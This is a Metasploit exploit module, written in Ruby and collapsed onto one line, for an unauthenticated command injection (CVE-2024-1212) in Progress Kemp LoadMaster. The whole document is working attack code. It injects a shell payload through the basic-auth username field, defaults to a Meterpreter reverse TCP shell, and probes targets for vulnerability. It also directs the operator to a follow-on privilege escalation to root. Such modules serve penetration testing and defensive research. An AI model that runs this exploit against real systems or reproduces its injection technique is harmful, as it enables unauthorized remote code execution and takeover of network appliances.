## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def flag_file return @flag_file unless @flag_file.nil? @flag_file = '/tmp/' + Rex::Text.rand_text_alpha(5) end def initialize(info = {}) super( update_info( info, 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1. The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and 7.2.48.10 (LTS). }, 'Author' => [ 'Dave Yesland with Rhino Security Labs', ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-1212'], ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] ], 'DisclosureDate' => '2024-03-19', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [ REPEATABLE_SESSION ] }, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Automatic', # Add logic to run the payload only once { 'Payload' => { 'Prepend' => "[ -f #{flag_file} ] || ( touch #{flag_file}; (sleep 60; rm #{flag_file})& ", 'Append' => ')', 'BadChars' => "\x3a\x27" } } ], [ 'Do_Not_Prepend_Runonce_Code', # This will likely result in 2-3 sessions { 'Payload' => { 'BadChars' => "\x3a\x27" } } ] ], 'Default_target' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_WRITABLE_DIR' => '/tmp/', 'SSL' => true, 'RPORT' => 443 } ) ) register_options([ OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']) ]) end def exploit uri = normalize_uri(target_uri.path, 'access', 'set') vprint_status('Sending payload...') send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'vars_get' => { 'param' => 'enableapi', 'value' => '1' }, 'authorization' => basic_auth("';#{payload.encoded};echo '", Rex::Text.rand_text_alpha(rand(8..15))), 'verify' => false }) end def on_new_session(client) super print_good('Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell') end def check print_status("Checking if #{peer} is vulnerable...") uri = normalize_uri(target_uri.path, 'access', 'set') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'vars_get' => { 'param' => 'enableapi', 'value' => '1' }, 'authorization' => basic_auth("'", Rex::Text.rand_text_alpha(rand(8..15))), 'verify' => false }) # No response from server unless res return CheckCode::Unknown end # Check for specific error pattern in headers or body to confirm vulnerability if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching') return CheckCode::Vulnerable else return CheckCode::Safe end end end